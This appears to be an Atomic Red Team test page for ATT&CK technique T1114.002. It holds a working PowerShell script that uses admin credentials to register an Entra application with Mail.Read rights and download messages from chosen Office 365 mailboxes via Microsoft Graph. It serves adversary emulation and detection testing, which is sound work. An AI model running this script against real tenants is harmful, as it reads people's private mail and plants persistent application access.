# T1114.002 - Email Collection: Remote Email Collection ## [Description from ATT&CK](https://attack.mitre.org/techniques/T1114/002)
Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific keywords.
## Atomic Tests - [Atomic Test #1 - Office365 - Remote Mail Collected](#atomic-test-1---office365---remote-mail-collected)
## Atomic Test #1 - Office365 - Remote Mail Collected Create and register an entra application that downloads emails from a tenant's Office 365 mailboxes using the Microsoft Graph API app-only access. This can be used by an adversary to collect an organization's sensitive information. **Supported Platforms:** Office-365 **auto_generated_guid:** 36657d95-d9d6-4fbf-8a31-f4085607bafd #### Inputs: | Name | Description | Type | Default Value | |------|-------------|------|---------------| | username | Full username (including @domain) of Entra user w/ AppRoleassignment.ReadWrite.All and Application.ReadWrite.All Scope (eg, Global Administrator Role) and sign-in method is password | string | | | password | Entra user password | string | | | 1st_target_mailbox | office-365 target_email_address | string | | | 2nd_target_mailbox | office-365 target_email_address | string | | | 3rd_target_mailbox | office-365 target_email_address | string | | #### Attack Commands: Run with `powershell`! ```powershell $ss = ConvertTo-SecureString "#{password}" -AsPlainText -Force $cred = New-Object PSCredential -ArgumentList '#{username}', $ss $param = @{ Credential = $cred Force = $true } $null = Connect-AzAccount @param $token = (Get-AzAccessToken -ResourceTypeName MSGraph -ErrorAction Stop).token $cert = New-SelfSignedCertificate -Subject "CN=PowerShell Application" -CertStoreLocation "Cert:\CurrentUser\My" -KeyExportPolicy Exportable -KeySpec Signature -KeyLength 2048 -KeyAlgorithm RSA -HashAlgorithm SHA256 $reqResourceAccess = ( @{ "resourceAccess" = (@{"id"= "570282fd-fa5c-430d-a7fd-fc8dc98a9dca"; "type"= "Scope"}, @{ "id"= "7427e0e9-2fba-42fe-b0c0-848c9e6a8182"; "type"= "Scope"}, @{"id"= "37f7f235-527c-4136-accd-4a02d197296e"; "type"= "Scope"}, @{"id"= "14dad69e-099b-42c9-810b-d002981feec1"; "type"= "Scope"}, @{ "id"= "e1fe6dd8-ba31-4d61-89e7-88639da4683d"; "type"= "Scope"}, @{ "id"= "810c84a8-4a9e-49e6-bf7d-12d183f40d01"; "type"= "Role"}); "resourceAppId" = "00000003-0000-0000-c000-000000000000" }) connect-mggraph -AccessToken $token $context = Get-MgContext $users = get-MgUser $app = New-MgApplication -DisplayName "T1114.002 Atomic Test #1 - Office365 - Remote Email Collection" -RequiredResourceAccess $reqResourceAccess -Web @{ RedirectUris="http://localhost"; } -KeyCredentials @(@{ Type="AsymmetricX509Cert"; Usage="Verify"; Key=$cert.RawData }) New-MgServicePrincipal -AppId $app.appId -AdditionalProperties @{} | Out-Null $resourceSPN = Get-MgServicePrincipal -Filter "AppId eq '$($app.AppId)'" $graphApiApp = Get-MgServicePrincipal -Filter "DisplayName eq 'Microsoft Graph'" $mailRole = $graphApiApp.AppRoles|Where-Object Value -Eq "Mail.Read" New-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $resourceSPN.Id -PrincipalId $resourceSPN.Id -ResourceId $graphApiApp.id -AppRoleId $mailRole.Id $mailbox1 = "#{1st_target_mailbox}" $mailbox2 = "#{2nd_target_mailbox}" $mailbox3 = "#{3rd_target_mailbox}" [System.Collections.ArrayList]$selectUsers = @() foreach ($user in $users) {if (($user.Mail -eq $mailbox1) -Or ($user.Mail -eq $mailbox2) -Or ($user.Mail -eq $mailbox3)){$selectUsers.Add($user.id)}} connect-mggraph -ClientId $app.AppId -TenantId $context.TenantId -CertificateName $cert.Subjectname.Name foreach ($user in $selectUsers) { $url= "https://graph.microsoft.com/v1.0/users/$($user)/messages" ; Invoke-MgGraphRequest -Uri $url -Method GET -OutputType PSObject} ``` #### Cleanup Commands: ```powershell connect-mggraph -Scopes AppRoleAssignment.ReadWrite.All,Application.ReadWrite.All,User.Read -NoWelcome Remove-MgApplication $app.AppId Remove-Item -Path Cert:\CurrentUser\My\$($cert.thumbprint) -DeleteKey Disconnect-MgGraph ``` #### Dependencies: Run with `powershell`! ##### Description: Microsoft Graph PowerShell SDK must be installed. ##### Check Prereq Commands: ```powershell $RequiredModule = Get-InstalledModule Microsoft.Graph if (-not $RequiredModule) {exit 1} else {exit 0} ``` ##### Get Prereq Commands: ```powershell Install-Module Microsoft.Graph -Scope CurrentUser ``` ##### Description: Az.Accounts module must be installed. ##### Check Prereq Commands: ```powershell $RequiredModule2 = Get-InstalledModule Az.Accounts if (-not $RequiredModule2) {exit 1} else {exit 0} ``` ##### Get Prereq Commands: ```powershell Install-Module Az.Accounts -Scope CurrentUser ```
